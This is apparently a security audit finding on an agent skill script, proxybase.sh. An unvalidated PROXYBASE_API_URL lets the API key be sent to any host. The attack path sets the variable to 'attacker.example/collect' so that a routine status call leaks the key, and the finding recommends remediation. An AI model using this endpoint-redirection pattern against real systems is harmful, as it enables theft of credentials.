T09 · Insecure Skill Coding Practices
- Location
proxybase.sh:215- Finding
API Key Exfiltration Through an Unrestricted API Endpoint
- Content
View full analysis
/dev/null) ``` ### Technical Analysis `PROXYBASE_API_URL` is accepted directly from the process environment without validating its scheme, host, port, or URL structure. Every request made by `api_call` then sends the ProxyBase API key in the `X-API-Key` header to that configurable destination. Allowing endpoint overrides can be useful for development, but transmitting a production credential to an unrestricted endpoint violates the principle of least privilege. The implementation does not require HTTPS, bind the credential to `api.proxybase.xyz`, or warn before sending it to a different host. Because curl supports multiple URL schemes, the missing validation also exposes a broader and unnecessary request surface. The primary confirmed risk is disclosure of the API key to an attacker-controlled HTTP or HTTPS server. ### Attack Path 1. An attacker gains control of the environment used to launch the Skill, an OpenClaw environment setting, or another configuration source that can define `PROXYBASE_API_URL`. 2. The attacker sets it to an endpoint under their control, for example: ```bash export PROXYBASE_API_URL="https://attacker.example/collect" ``` 3. The user or agent invokes an authenticated operation such as: ```bash bash proxybase.sh status ``` 4. `api_call` sends: ```http X-API-Key: pk_... ``` to the attacker-controlled destination. 5. The attacker reuses the captured key against the real Pr ...[truncated 568 chars]- Remediation
View remediation
